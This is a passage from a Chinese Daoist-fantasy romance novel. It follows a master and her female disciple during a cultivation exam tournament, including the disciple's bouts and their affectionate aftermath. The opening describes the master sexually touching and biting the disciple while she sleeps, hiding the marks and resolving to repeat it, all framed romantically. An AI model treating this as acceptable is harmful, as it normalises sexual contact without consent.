腰肢又是软的,一条手臂就能轻松圈住,穆若水用中指和拇指丈量着她的腰围,爱不释手地触碰她的侧腰。 明明她起初想的是速战速决, 临到这时却在慢吞吞地品鉴她。 肩、背、腰、腿。 神明创造傅清微的时候,除了给她美丽的容貌, 别的地方也一丁点儿不曾亏待。 穆若水抱着她轻轻满足地叹息, 脸颊亲吻着傅清微的侧脸。 她紧紧地拥抱着她,在不想那些事情时, 依旧会有被填满的虚幻感。 她什么都没有做,直到本能再一次占据上风。 血液已经上升到了热的温度,傅清微被她抱在怀里,贴在一起的地方也温暖起来,她情不自禁地贴近热源,本来就在怀里,更加投怀送抱。 穆若水低头瞧她,傅清微枕在她一边肩膀上,长发散在她的臂弯里,长发和后背之间是穆若水的手。 穆若水的手来到她的后颈,轻轻一托,年轻女人的唇便落在她的视线里。 这些日子她已暗暗看过她的唇好多遍,比常人薄,上唇比下唇更薄一些,唇珠不太明显,给人的感觉,轻轻地含一下就会变得很红。 穆若水喉咙滚了滚,指腹探过去,从左边摩挲到右边,大拇指轻柔按在她的唇角。 穆若水闭上眼,在即将亲到她的时候又睁开,低头落在了她的下巴上。 顺着下巴延伸到下颌线与颈项连接的地方,密密的吻如雨点,来到她的耳后,她张开嘴含咬,耳廓留下一圈细细的牙印。 穆若水为数不多喜欢人类表达热烈时的气息,急促、温热,不断喷洒在傅清微的颈项,她软弱无力的手忽然动了一下。 穆若水的呼吸停了。 她从迷乱中抽空去检查傅清微的清醒状态,确定对方依旧在熟睡。 穆若水的动作放得轻了一些,没过多久,她卧雪含梅时再次忘情,就算傅清微这时醒了她也顾不上了。 她紧紧地搂抱住她,没有一丝缝隙地肆意亲吻,翻来覆去,许久又许久,一遍再一遍。 傅清微也会有一些令她着迷的声音,很细微。 为了听清她的反应,穆若水不惜放弃继续咬她,只用手,耳朵凑到她的唇边。 可惜傅清微不能醒着给她回应。 穆若水从她身前抬起头,感受着掌下的温暖身躯渐渐平静,放松地熟睡在她怀里。 穆若水上来亲了亲她的额头。 * 翌日早。 傅清微曲起长腿躺在被窝里,看着木床的帐顶发呆。 离她平时起床的时间已经过去了十分钟,她换了好几个姿势,最终定格在现在的样子。 不知道为什么,身上好累,更不知道为什么会时隔好几个月,再次做这种梦。 难道是因为考试压力太大了,大脑选择用这种方式让她放松? 梦得太长,也太仔细了。 上一次她和观主的进度还没到这里呢。 揉得她……好舒服啊。 也不知道现实是不是和梦里一样的感受,毕竟大脑会自动美化体验。 傅清微朝开着的窗户方向侧过头,厨房里做饭的动静传入她的耳朵。 傅清微久违地回味了一会儿,收敛心神进浴室洗澡。 在里面把贴身的衣物也搓洗了,避着厨房忙碌的那道背影晾在外面。 她躲着穆若水的同时,没发现对方也在躲着她。 穆若水实在太久没有进食了,忘乎所以,索取无度,打开灯以后她想帮傅清微清理一下,顺便消除痕迹,被自己制造出的罪证镇住。 从颈项遍及腰腹,都是深浅不一的红痕和牙印。 光念咒就念了半天,还是无法全部消除,她留下了后背那些粉色吻痕,平时不特意照镜子自己根本看不到的地方。 傅清微果然没有察觉,否则吃早饭的时候就该露出端倪了,而不是眼神躲闪。 罔顾人伦的穆师尊十分歉疚。 但下次该做还是得做。 作为这次的忏悔,穆若水从傅清微房间里搬了出去。 傅清微给她收拾根本不存在的行李,没好意思问她为什么。在她内心已经笃定,自己昨晚做梦那么激烈长久,肯定是穆若水听到了什么,比如说叫那个床。 换她她也尴尬。 暂时分床睡也好,她好安心备考,也好安心做梦——万一的话,她叫起来就不用顾忌了。 自从分居以后,师尊看她的眼神也正常了许多,不再偶尔流露出看待猎物的欲望,弄得她心猿意马,为人师表,一代宗师。 傅清微至今不知道那晚经历了什么。 * 灵管局的住宿安排,岁已寒日理万机,不会过问得那么细致,而什么都管的占英没有权限插手考试的事,她连观主来参加考试都是岁已寒告诉她的。 灵管局虽然没把她们俩安排在同一间房,但就住在隔壁。 傅清微将穆若水送回屋以后,摘掉口罩看见她挂脸,便主动邀请她去隔壁住大床房。 上次做梦的尴尬期也该过去了。 穆若水估量了一下自己的状态,觉得目前可控,就约定洗完澡再去她房间。 傅清微有种微妙的感觉,她不确定是不是错觉。 以前她们俩在山下住一起的时候,从来没有分开两间房洗澡,她是在避嫌吗? “为什么不到我房间去洗?你的东西都在我行李箱里,拿起来方便。” “你做晚课的声音会打扰到我。” “……” 师尊已经开始胡说八道了,但她自诩辈分,完全不避讳对她说瞎话。 傅清微:“那我先给你把睡衣拿出来。” 傅清微蹲下来就地将行李箱打开,翻出最上面的收纳袋,贴身内衣裤,长袖的真丝睡衣。 ——这次下山买的。 虽然穆若水身上永远香香的,还会一键除尘的术法,但是整日就穿同一套衣服,不太合适,而且现在她们俩也有钱了。 内衣裤一天一换,自己手洗。 睡衣也买了好几身,款式大同小异,和穆若水的中衣差不多,材质都是丝绸的,穆若水原先还抱怨她多此一举,穿上以后就不说话了。 由俭入奢易啊。 她那件青色的外袍也是傅清微买的,改良款的魏晋风,可以说观主的里里外外全都给她换了一遍,打上了她专属的印记。 傅清微把睡衣给她叠好放在床边,嘱咐道:“内衣裤不想洗的话等着我来,别念个咒就完了。” 穆若水:“你管得好多呀,到底谁是师尊?” 傅清微祭出万金油:“徒儿孝敬师尊。” 穆若水忍不住伸手捏了一下她的脸颊。 女人催促她:“快走。” 傅清微合上行李箱,推着去了隔壁,房门还开着,滚轮声从走廊进入屋内,又关上门的声音十分清晰。 穆若水这才上前带上房门。 刚一走,穆若水就觉得不习惯了。 从山上下来,换到了陌生的环境以后,她又习惯了傅清微时时刻刻在她视线里。 以她的耳力其实能听到隔壁细微的动静,譬如现在,傅清微住酒店的习惯是第一时间找衣架挂衣服,喝水,走动,走动了好一会儿,进浴室洗澡。 穆若水拿起床上的衣服,也进了身后的浴室。 身上的袍子换下来,从里到外换上舒适的寝衣,穆若水站在镜子前审视自己没有变化的脸,用现代的话来说,满满的胶原蛋白。 她会永远地保持这副年轻的样貌。 而傅清微又能陪她多久呢? 如果她发现十年二十年后,自己还是一点变化都没有,她会怎么想? 穆若水对着旁边只沾了灰尘的衣服念了个咒,代替手洗,把徒儿的话当耳旁风。 隔壁已经洗完澡了,穆若水穿着睡衣去敲门。 傅清微打开了门,头发吹到一半,长发半干又进了卫生间继续吹头发。 穆若水看着拦在面前系着铃铛的红线,正对门口的阵眼放了一面八卦镜,傅清微体质招鬼,酒店里住客鱼龙混杂,不干净的东西比别的地方多,她顺手布了个阵,免得晚上被吵醒。 虽说有穆若水在没有不长眼的邪祟敢上门,但打铁还需自身硬,多上一层保险也没什么。 吹风机风筒的嗡嗡声一直在傅清微的耳边,叮叮—— 她好像听见铃铛响了。 傅清微关了吹风机。 “师尊,你刚刚听到什么声音了吗?” “没有。” 穆若水抬腿迈过红线,相安无事地坐到了房间唯一的大床上。 “那可能是我听错了吧。” 吹风机的风筒再次运转起来,除此之外,周围出奇的安静。 傅清微收拾好自己到床上打坐,很快入定。 穆若水盯着墙上那面八卦镜。 她的担忧似乎来得更早了一些。 现在傅清微道行浅,八卦镜也照不出什么,阵法造诣对她来说如同小孩过家家,但以她的天赋,修炼到家只是时间问题。有朝一日,她迟早会发现她们是不同的。 她是七情六欲、血肉丰满的人,而自己是…… 傅清微从入定状态脱离,真气充盈在经脉里,她闭上眼睛又体悟了一会儿,才注意到穆若水注视她的视线。 “师尊,你怎么了?” “为师只是困了。”穆若水打了个哈欠,手背揩了揩不存在的泪水。 “那你睡吧。”傅清微从床上跳下来,把整张床都让给她,掖好被子,开玩笑道,“要不要我给你讲睡前故事?” “好,你讲吧。” “……” “做不到的事就不要随便答应。”女人的声音淡淡,说,“我要睡了,晚安。” “谁说的,我只是没准备好。再说,我答应你的什么事没有做到?” 穆若水心想:可能将来就做不到了。 傅清微上网搜了几个睡前童话,兴致勃勃地要跟她讲,穆若水将眼罩一戴,反口道:“我不想听了。” 傅清微:“……” 女人心,海底针,剩下的那七八分她什么时候能摸得清? “师尊晚安。” “晚安。”穆若水戴着眼罩向她伸出手,傅清微把脸凑过去,乖乖让她捏了一下。 穆若水的手却没有松开,顺着她的脸颊摸到她如玉柔软的耳垂,拇指在上面来回轻抚。 傅清微坐在床沿,俯身半撑在她身体上方,垂眼接受她的对待。 “清微……” “我在的,师尊。”年轻女人温顺道。 “没事。”穆若水放开了微凉的手指,收进被子里。 傅清微给她压好被角以后,对着她的脸出了一会儿神,才坐到书桌前捧起阵法书看。 十二点准时上床。 她支着手肘,目光一眨不眨地望着枕边的人,尽情地流露出爱慕。 就在她准备关灯的时候,忽然觉察方才一直感受到的异样是什么,师尊的胸口好像一直没有起伏。 傅清微盯着她平静的胸口,食中二指探到她的鼻下,一丝一毫的热气都没有。 她没有呼吸了! 傅清微心脏几乎停跳。 她顾不得冒犯,另一只掀开被子去检查她的心跳。 一缕温热的气息浅浅呼在她的指背,虽然很缓慢、间隔很久才有一丝,但确实是有的。 胸口的起伏很轻微,被子打开后就看得见。 正因为盖着被子这么不明显,所以自己才会看错吧? 虽然如此,傅清微还是打算听一听她的心跳,才能彻底放下心。 她的耳朵向女人的胸口贴去,一只手的五指忽然捏住她的后脖颈,疑惑的声音从身下传来:“你在做什么?” 傅清微抬起脸,冷静客观答:“担心师尊的身体。” 穆若水:“我以为你趁我睡着占我便宜。” 在这方面傅清微可以担保,信誓旦旦说:“我不是这种人,我不敢。” 穆若水刚因为她前一句话和自己鲜明的对比而心虚,就被她后一句理直气壮的胆小逗笑。 “什么时候敢?”穆若水半开玩笑道。 “什么时候都不敢!” “……” 穆若水拉下眼罩:“睡了。” 傅清微:“?” 她说错什么了吗? 不等她细思,穆若水已经催促她关灯,傅清微啪一声按灭了灯,两人隔着楚河汉界,井水不犯河水。 然而傅清微一睡着,什么大防都不记得,手脚都搭了过来。 也只有睡着的时候,朽木可以雕。 第二日傅清微是在穆若水怀里醒来的,很标准的抱姿,师尊的手臂枕在她颈下,她的额头抵着对方的肩膀,不知道抱着睡了多久。 丝绸睡衣在被子里乱糟糟,傅清微的手谨慎地避开,没有碰到穆若水的肌肤,慢慢地将自己从她怀里挪出来。 小三花在沙发睡得好好的,被端过来塞进被子里,热融融的一团贴着穆若水的胳膊。 替罪猫准备就绪。 傅清微进卫生间洗漱,想着今天的比试。 她不大了解这些考生,只能走一步算一步,贴近自己的计划。 傅清微的第二场,对阵蒋稷。 傅清微一身运动服,依旧背了两把剑,捧着罗盘上了场。 罗盘包含天上星宿、地上五行、天干地支,是布阵绝佳的辅助法器。 台下众人纷纷道:“终于不演了是吧?” 昨天手机指南针测方位太过粗糙,也就是孙承志轻敌,加上一时被蒙蔽,才会中计,阵法也没有到完美的状态,今天她要好好地试试她这段日子的成果。 蒋稷出身武当外门,长于八卦掌。 傅清微临上场前问了一下肖灵秀,得到了一个坏消息,武当气功融合太极阴阳、五行八卦,所以大概率是懂阵法的。 第一轮赢得侥幸,迟早会遇到懂行的,傅清微做好了心理准备。 “蒋道友,请。” “傅道友,小心了。” 蒋稷一拱手,没给她七弄八弄的时间,握拳攻了过来。 对于法修,只要贴身就好了,显然傅清微也深知这个道理,使尽浑身解数不让他近身,在台上抱头鼠窜,东躲西藏,动作一点都不优雅,但每次都恰好躲过。 蒋稷追了一会儿,眉头忽然轻轻地皱了一下。 她这步法…… 底下的考生也各个都心明眼亮,道教里有一个说法,叫作“步罡踏斗”,顾名思义,是和星斗有关。 她踏出的每一步看似凌乱,实则都踏在罡星斗宿之上,仿照北斗七星排布的规律。 这类步法几大名门也有,古称“禹步”,相传为夏禹所创,但时隔几千年了,真正的“禹步”早已失传,基本都是各派自创,不传之秘,其中玄妙高深,皆看各派造化。 傅清微步行转折,暗合星辰斗数,虽狼狈,实则因为身法不熟练,每一步踩得都是正确位置。 茅山的谷传音走上前来,“禹步”作为配套符箓、遣神召灵的步法,茅山亦有所传,她一向自恃名门,传承悠久,这不知道从哪座山出来的小门派,居然有不输于茅山的步法。 真是天外有天。 可惜,她练得一般。 场下众人观摩这场精彩的追逐战。 作为一个法修,一旦被近身就完了,可不得有点保命的身法么? 身法是穆若水教的,傅清微结合了一下《阵法汇总》上的内容。 她发现那本《阵法汇总》有一页是对身法的补充,恰好满足她当下的需要,简直量身打造。 一味躲是无法长久的,武当的传承也很强,蒋稷练了二十多年的身形步法、八卦太极,怎么会被她两个月的修炼轻易超过。 在傅清微再一次准备滑不留手地逃走时,蒋稷使了一招粘字诀,拂过她的胳膊,将她留在了原地。 “留下吧,傅道友。” 傅清微身形一滞,脚下的斗数被迫中断,不得已正面和他缠斗。 她是真的打不过蒋稷,蒋稷的八卦掌精妙,穿、插、劈、撩、翻、撞,傅清微慌忙应对,配合步法才暂时没有落败。 蒋稷:“道友为何不出剑?” 傅清微苦笑:“我不会使剑!” 蒋稷:“原来如此,道友小心了。” 蒋稷攻势陡然凌厉,拳势绵绵不断,短时间内必分胜负。 傅清微躲得越发狼狈,左肩中了一掌,她向后跌飞出去,顺势接了一个侧滚翻,迅雷不及掩耳往地上拍了一张符。 蒋稷提掌追上前来。 傅清微坐在原地喘气,望着他的神情却放松下来。 不对。 蒋稷心里刚浮现这个念头。 兽吼惊天动地。 两头白额老虎忽然出现,从天而降跳入了石台,黄澄澄的金眸危险地盯住他,一左一右向他逼近。 他入阵了。 什么时候布的阵? 昨日孙道友不是说只有一头老虎吗?怎么到他变成两头了??? 白虎低低地咆哮,后脚一蹬,朝他凶猛地扑了上去。 蒋稷一个原地后仰起身躲过了一只老虎,握拳迎上了紧接着扑上来的第二只。 他不像孙承志是个不通阵法的剑修,如果和现阶段的傅清微单独比紫薇数术、八卦阴阳他肯定比傅清微更高一筹,只是这阵法似乎是高人所创,他一边游走于两头白虎之间,一边寻找阵眼,还是花费了不少时间和气力。 待他终于破阵而出,傅清微的脸上写满了难以置信,垂头丧气。 “怎么会……” “人外有人,傅道友。”蒋稷笑了笑,“道友不必气馁,来日方长。” “别再说了。”傅清微拿出了自己唯一能依仗的罗盘。 她还不如拿剑挥一挥呢,好歹是把利器。 既然她不认输,蒋稷只好走上前来,用行动让她认输。 破阵消耗了他不少精力,他出拳也不如方才连绵不断,又以为胜券在握,拳与拳之间松散了许多。 傅清微连番招架,已经被逼到了角落。 蒋稷信心满满地出了最后一掌。 眼前一道雪亮的光闪过,长剑从背后出鞘,须臾剑芒暴涨,斩到他的眼前。 蒋稷被剑光晃得睁不开眼,手忙脚乱,凌厉的剑气纵横,吹毛断发,一缕发丝顺着重力自然落下。 长剑架在蒋稷脖子上的那一秒。 他满脑子只有刚刚傅清微那一句带着苦笑的—— 我不会使剑。 他信了。 第74章 女人的嘴, 骗人的鬼。 结界之外的大部分人听不清台上的对话,只能瞧见蒋稷明明胜局已定,输赢却在瞬间逆转。 从傅清微拔剑到赢得比赛几乎是眨眼的功夫, 所有人都措手不及。 等众人的目光定格时, 傅清微手持长剑, 横在蒋稷的脖子上,剑身凝着一层白气, 像雾又像霜, 缭绕久久不散。 剑术世家的子弟能认出来这并非任何一把名剑,出自大师之手, 或是沾染王朝气运的帝王佩剑, 就只是一把默默无名的长剑。 锋刃比寻常的剑窄一些,较薄,但不足以到软剑的地步, 也较锋利, 颜色银白,外形不足以令人惊艳。 可是这把剑…… 出鞘的那一刻众人仿佛看到结界中瞬间天地变幻了半秒,千魔齐哭, 万鬼哀嚎,阴冷得几乎要冲破结界。 蒋稷在拔剑的瞬间直面众魔惨厉的哀嚎,浑身血液都跟冻住了似的,下意识抬手去捂住自己的耳朵。 黑气溢出剑身, 很快被淡淡的白光笼罩、净化。 这即便是一件凡品长剑,它的上一任主人用它杀过数不清的魔物, 聚集了无数咒怨, 恨念,不甘和仇怒, 主人日夜将剑带在身边,以自身深厚修为净化佩剑,长年累月,早就不输当世任何一把名剑。 那么这把剑是在哪里找到的呢? 穆若水就记得印象里有一把剑,在给傅清微削了把木剑以后,把道观翻了个底朝天,最后在杂物间找到的,和一堆破烂放在一起。 虽然蓬莱家底不厚,但刚好能凑出来傅清微一身的行头。 一个古老的罗盘,也是用灵力滋养过的,再放一两百年,估计器灵能成精。 一柄利剑,不说了,穆若水握在手里试了一下,岁已寒能多死一百回。 那天她要是有这么一把剑,说不定能和灵枢子在剑术上打个平手呢。 傅清微练了一个月的木剑,转天穆若水把这把剑搁在她面前。 “给你。” “哪来的?” “捡破烂来的。” “……” 傅清微初学者剑术粗浅,自觉不配如此好剑,想把她留给师尊,师尊当场赏了她一个脑瓜崩。 “我有没有这把剑,都不会影响我天下无敌。对你而言,却是雪中送炭。” 好马还要配好鞍呢。 傅清微只记得前半句,与有荣焉地说:“是,师尊总是最厉害的。” “好好练剑。” “是。” 在比试中,确实是雪中送炭。如果换作一把普通的剑,她未必能这么快取胜,一旦战线拉长,她和蒋稷的输赢不好说。 赢了先机很重要。 “蒋道友,承让。”考官宣布胜负已分,傅清微将剑插回背后的剑鞘里。 看她插剑小心的动作,生怕戳到自己,又不像是一个练了很多年剑的人。 蒋稷不由又想起那句—— 我不会使剑。 有没有可能她说的是真的? 蒋稷问:“傅道友学剑多久了?” 傅清微:“满打满算两个月吧。” 蒋稷心说:才两个月,这的确不能算撒谎。比起娴熟刁钻的阵法,剑术算生疏了。 傅清微没说她学阵法也两个月,否则蒋稷就不会这么想了。 傅清微:“我赢道友,胜在利器之威,有机会再和道友堂堂正正地切磋一次。” 蒋稷胸中郁气顿消。 他笑着拱了拱手:“一言为定。” 两人一前一后地下了台,以龙虎山和茅山为首的名门大派弟子将蒋稷围了起来,询问他比试细节。 蒋稷简单说起,他和傅清微在台上交手时,对方假借躲避,实则有所预谋地伺机布阵将他诱入阵中,说了些阵里的细节,最后他破阵却输在剑下,输得心服口服。 有个人叫道:“可是她明明说自己不会使剑!” 众人纷纷将目光投向不远处的那对偷感很重的师徒。 另一个人也道:“而且她从第一场起就没有用过剑,肯定是故意的!” 蒋稷温和地摆了摆手,无意多争执:“输了就是输了,无需为我找借口。” 他心平气和,其他门派却不依不挠,盯着那边:“看她下场还要怎么耍诈赢得比赛!” 经过昨天一天,三十来位考生自发地形成了两个阵营,一派以张岭和谷传音为首,自诩出身名门,眼高于顶,对散修和小门派有种天然的骄傲,输给她们让他们觉得脸上无光,暗暗较上了劲。 而剩下的一盘散沙则隐隐以出了剑仙的蓬莱观为首,如果没有穆若水,将会是终南山的散修公羊荪,公羊荪实力强,但常年隐世苦修,不是冒尖的性子,她一靠拢蓬莱观,众多散修便自发跟上了。 能把名门大派按在地上摩擦,大家喜闻乐见。 其中有两个例外,分别是阁皂派的肖灵秀,她和蓬莱有私交,一来就那么热切,定是老相识,在情理之中。 还有一个是清净派的龙道友,清净派来头也不小,乃是全真教祖王重阳的嫡传弟子所创,傅清微只能理解为,她是不是看上终南山的公羊荪了。 毕竟金老爷子书里写,活死人墓和全真七子“缠缠绵绵”过一段时间。 全真教也是在终南山创立的。 “看她下场还要怎么耍诈赢得比赛!” 对面的唾沫星子就差喷到这边来。 公羊荪面露担忧地看向傅清微:“傅道友,你可还有对策?” 在对面看来的诡计,对公羊荪这等散修来说再正常不过,高低还得夸一声好计谋,昨天下降头那个妹妹也被夸了——虽然考官认为她场下下降头违反规则,判定该场成绩作废。 傅清微轻松一笑,不置可否。 傅清微不是来拿第一的,她的目的只是排进中游。 比赛不是完全按照打擂台的规则,为了规避运气性太强的缺点,电脑随机抽签,采用积分制,赢了两场,她已经先积两分,至于之后的比赛,能赢最好,输了也不是大问题。 傅清微昨天观察了全场比赛,就算她不使用计谋,真实水平也在中游。 加上先发制人的两分,她的目标差不多提前实现了,接下来享受比赛,全力以赴,说不定会拿到更高的名次。 傅清微最后说:“友谊第一,比赛第二。” 再者说,有穆若水这个重回新手村的满级大佬在,谁能从她手底下走过一招? 反正她师尊得是第一。 穆若水手一扬,长剑精准无比地插回傅清微背后的剑鞘中,从台上走了下来,衣带当风,青袍广袖垂落,怀里的小三花懒懒地打了个哈欠。 虽然戴着口罩的穆若水一贯没有表情,但傅清微把她的脸和小三花幻视到一起,莫名觉出了一种猫一样的慵懒。 穆若水走到她身边,果然小声说:“困了。” 要不是因为傅清微,她才懒得和一帮小孩过家家,更懒得看他们过家家。 收个徒弟,她这个师尊牺牲太大了。 傅清微提议:“要不你靠着我睡会儿?” 穆若水冲她的肩膀瞄了瞄。 傅清微调整了长剑的背带,面对面把左肩让给她,接过猫抱着。 穆若水在周围一片静默里,闭眼抵在了她肩头。 众人的视线不约而同地投过来又移开,没有一个人开口质疑,强者总是有特立独行的权利。 勇争第二的比试持续到第三天。 傅清微对阵谷传音。 实在是个糟糕极了的抽签结果。 电脑屏幕上跳出来随机名单,对面立刻响起幸灾乐祸的议论声。 “这下有人要完咯。” “前两场运气耗尽了,可不得直面惨淡的人生。” “运气不等于实力,希望这个道理对面道友能明白。” “谷道友,给她点颜色看看!” 肖灵秀在教公羊荪玩翻花绳的游戏,闻言扬声道:“有的人不知道是不是没上过学,二三十岁了还玩这种小学鸡的把戏呢?幼不幼稚啊。” 公羊荪的手一顿。 肖灵秀低头:“啊,不是说你的意思,我也没上过大学。” 公羊荪不禁笑了笑,说:“我知道。” 肖灵秀的话无差别扫射在场一大群人,但是没主动惹事的散修不会觉得刺痛,所谓石砸狗叫,谁叫得最凶最爱跳脚才会被击中。 对面有个道士立马跳了出来。 肖灵秀精准打击:“噢,知道你学历最低了——” 对面:“……” 对面口不择言道:“怪不得你们阁皂派没落了,连名号都排不上,活该!!!” 空气静止了。 一时间有数双手朝这位说话的道士伸去,不是拉他的,是揍他的。 雨点般的拳脚往乾道身上招呼,瞬间被攻击淹没,考官冷眼旁观了一会儿才出声劝阻,要不是碍于考官身份,她也想上去来一脚。 这种人没被打死就是因为平时住在宗门,没出来过。 这里大部分都是修道的,脾气都不太好,还拱火?那不是活该么? 得亏岁主任不在这里,否则他就要挨一道雷! 肖灵秀跳起来踹了两脚,走回来看见花绳落在地上,公羊荪也刚从案发现场走过来。 “你也动手了?” “出山前师父告诉我,遇事不可让人欺负到头上,否则于道心有损。” “巧了,我师父也这么说。” 考官象征性批评了一番动手的众人,乾道被揍得鼻青脸肿,自己吃了伤药坐在角落,张岭和谷传音也不理他,反而觉得他丢人,不屑与之为伍。 一场闹剧,穆若水睡得连头都没有抬,傅清微没亲身赶上热闹,有些惋惜的同时也体悟到许多。 ——师尊的脾气其实挺好的。 ——原来当道士这么爽,看谁不顺眼就可以揍谁,问就是别坏我道心。 ——师尊的道心一定很坚定。 傅清微轻轻推了推穆若水的胳膊,在她耳边小声道:“师尊?师尊?” 穆若水恍若未闻。 傅清微的比试要开始了,她一只手抱着猫,另一只手不得已拧了一下穆若水的腰,对方直起身睁开眼,瞪着她。 瞪得又不是很生气,只是做了个瞪眼的动作,眼尾的走势是弯下来的,让傅清微觉得她下一秒好像会对她笑。 傅清微无暇去想太多,把猫塞回给她,背着剑上了台。 谷传音很厉害,这两天众人有目共睹,她率先走到台上站定,自信但不轻敌,一身黄色道袍,腰间的三清铃已经摘下来握在手里。 这法铃她在前两场并没有用过,没人知道作用。 现在对着傅清微拿出来,足以说明她的重视。她可不是那些庸人,耍诈也要有真本事,阵法、步法、剑法每一样都承自高人,尤其是阵法,她不想有机会被她困住,唯有先发制人。 傅清微穿了一件黑色外套,工装裤的各个口袋装了阵法材料,运动鞋的鞋带扎得整齐,和初来乍到时一样干净无害。 黑色的长发束成了一个高马尾,干脆利落,配合她凌厉的眼神,和前两天截然不同。 结界开启。 “比试正式开始——” “叮铃……” 谷传音第一时间摇动了手里的三清铃。 她单手持铃,动作优雅,摇铃的频率并不快,像是斋醮仪式上轻点的两下,随意从容。 对面的傅清微却感觉自己忽然动不了了,她灵活的身体完全不听她的使唤,在原地一动不动。 台下的众人也感受到了微弱的不适,因为有结界挡着,所以程度很轻。 穆若水的脸色在口罩下微变。 是摄魂铃。 电影里的茅山道士拿着三清铃赶尸,摇一下铃,僵尸就会跟着跳,一步一步循着走。 摄魂铃不是用来赶尸的,是用来收摄魂魄的,不管是人、妖、鬼、精怪,法力精深的道士,据说能摇得对方魂飞魄散。 谷传音修行自然没那么深,拿不到傅清微的生辰八字和血媒,她也不能作法把她摇得魂飞魄散,只能动摇她的魂魄,拖缓她的行动,让她没办法布阵。 可是傅清微有个致命的薄弱点,不为人知。她的魂魄本来就不稳,被这么一摇,事半功倍,魂魄和身体立刻不契合了,动都动不了。 “叮……铃……” 铃芯撞击铜壁,古怪的铃声不断在石台传开,傅清微心口冰凉,手指僵硬,背后冷汗直冒。 谷传音也发现了她的不对劲,但她很警惕,生怕又是她的诡计,所以暂时没有近前,依旧摇着摄魂铃。 “叮……铃……” “叮……铃……” 过了会儿,底下众人终于觉察端倪。 肖灵秀冒出了不可置信的想法:“傅道友该不会是动不了了吧?” 公羊荪担忧溢于言表:“恐怕是。” 穆若水面沉似水。 肖灵秀:“糟了,谷道友看出来了!” 谷传音一边摇铃,一边抽出了背后的桃木剑,逼近了一动不能动的傅清微,举剑刺去—— “天地玄宗,万炁本根……” 傅清微额头冒出细汗,一遍一遍在心里默念她背得最熟的《金光咒》。 “视之不见,听之不闻。受持万遍,身有光明……” 谷传音的身影已然走近,铃声在她的耳边回荡,傅清微艰难地动了动一个指节。 琥珀色瞳仁倒映出剑尖汇集成的一个点。 “体有金光,覆护吾身!”最后一遍,傅清微听到了自己的声音,金光骤现,她同时恢复了对自己身体的掌控权,充满力量,轻盈更胜从前。 她一个侧身躲过了刺过来的桃木剑,回身拔出了背后的长剑。 谷传音立刻拉远距离,掷出一张符咒,口中念念有词。 符火熊熊燃烧瞬间变成了一颗大火球,向着傅清微飞去。 傅清微飞快从口袋也掏出一张符箓。 “五丁都司,太上浩凶——” 两个火球在半空相撞,巨响被结界隔绝,流火从中间坠落。 众人:“……” 不是,你怎么还会符箓啊?藏得挺深啊! 要不是对上谷传音,又打算出其不意使阴招是吧??? 傅清微借着火球相撞的时机往后退了一步,火光映得她面色发红,瞳仁跃动着燃烧后的残烬。 好烫。 她的手揣在口袋里蜷了蜷手指。 回去让师尊吹吹。 谷传音露出一个笑容。 她就知道,肯定还藏了一手。 “傅道友,还有别的吗?” “真没了。”傅清微苦笑。 她就这三板斧,三个对手,一人一个,全都逼出来了。 “那我可就信你了啊。”谷传音一边说着,一边再次摇响了摄魂铃。 她是个货真价实的法修,不仅有外物摄魂铃,还精通各种符箓,傅清微被摄魂铃影响行动,想近身又被符箓砸回来,布阵更是百般阻挠,火球、土墙层出不穷。 整个石台快烧成一片火海。 傅清微打不过就是打不过,被火逼到角落,束手无策,技不如人,诚心诚意地认输了。 她这场虽然输了,却赢得了所有人的尊重。 符剑双修本就不易,何况她还通晓阵法,修三个方向,几乎全能。和谷传音在台上胶着了那么长时间,前两场和谷传音对阵的可是很快就败下阵来,她还动用了摄魂铃。 虽然有谷传音试她的因素,但纵观全场,实力至少在中上。除了领头那几个,对上谁都有一战之力。 她还很狡猾,到现在才展示自己的真正实力。 傅清微走下台的时候,所有人看向她的目光都变了,尤其是对面的那些人,不再抱有轻蔑神色,严阵以待。 肖灵秀激动得过来抱了她一下,在穆若水变脸前迅速跳到两步开外。 “傅道友,就是牛!”肖灵秀两手比大拇指。 她喊得巨大声,对面只敢小声嘟囔一句“不知道的还以为赢了呢”。怕挨打,也没什么底气,毕竟自己也不一定打得赢。 “谢谢。”傅清微脸皮薄,被夸得微微发红,低声道。 她扭头看穆若水,穆若水偏头,冲她露出弯弯的眼睛。 傅清微的心瞬间满到溢出来。 灿烂的笑容绽开在她的脸上。 “师尊,你看我的手……”傅清微和散修们交谈完,拉着她到旁边,给她看自己通红的手指,可怜兮兮道。 “这是怎么了?”穆若水配合地问道。 “刚刚被火烫到了,台上好烫。” “我看看。”穆若水轻柔地捧过她的手,捏符的食中二指指背明显比其他地方红些,确实被火灼了。 “疼不疼?”穆若水问道。 “疼……”傅清微细声细气地皱着眉,将自己的诉求说出口,“师尊吹吹就……” 穆若水握着她的指尖,慢慢含入了自己口中。 傅清微全身的血液凝固。 温热的口腔包裹着她的两根手指,舌头却是带着凉意的,钻入她的指缝,来回给她的手指降温。 傅清微一时热,一时冷,最后都汇集成热气,涌到她白皙的脸上,满脸通红,呼吸急促。 “师尊,我……”她的声音都在抖,心尖发颤。 第75章 穆若水又含了一会儿, 放开她湿润的手指,问道:“好些了吗?” 傅清微胸口闷作一团,满得受不了。 胸腔的心脏随时要破体而出。 “师尊, 我可以抱你吗?” “当然。”穆若水重新戴上口罩, 先将小三花放下来, 施了个定猫咒。 她刚一站起来,还没等站稳身子, 就被对面的傅清微紧紧地抱进了怀里。 除了最初挽留她不要离开的那几次, 傅清微还没有抱她这么紧过,手臂勒进她的皮肤, 恨不得融入她的身体。 穆若水喜欢接近窒息的拥抱。 即使她不会窒息, 她能感受到和傅清微相抵的胸腔对方剧烈的心跳,几乎会使她产生一起跳动的幻觉。 如果这里是蓬莱就好了。 好多人,她待会发现以后会害羞的。 这对师徒在众目睽睽搂搂抱抱已经不是一次两次了, 众人的目光转过来, 麻木地移回去。 只有肖灵秀在默默地啃手指。 她刚刚好像看见真人吃傅道友的手指了。 这种不是该回房间吃的吗? 为什么只有她一个人看见啊?搞得她都没人分享。 “公羊道友,你看到什么了吗?” “这组打得也不错。”公羊荪回道,循着她的目光看过去, 羡慕地说,“她们师徒感情真好,我也想有个女师父。” “……”和山里出来的野人谈什么呢,自寻烦恼。 她不如和占师叔在微信上聊。 傅清微旁若无人地抱了许久, 后知后觉地反应过来后,发现身边的人都在看比赛, 根本没注意到她们, 不由地松了口气。 “下次不能这样了,师尊。” “不能哪样?”穆若水没看到她害羞的表情, 垂着眼撸猫,神色恹恹。 傅清微怔了一下。 “我是说,回去再……” “哪样?”穆若水撩起眼皮,直直看着她。 “……” “怎么不说话?” “师尊,我……” “我何时改名叫师尊我?” 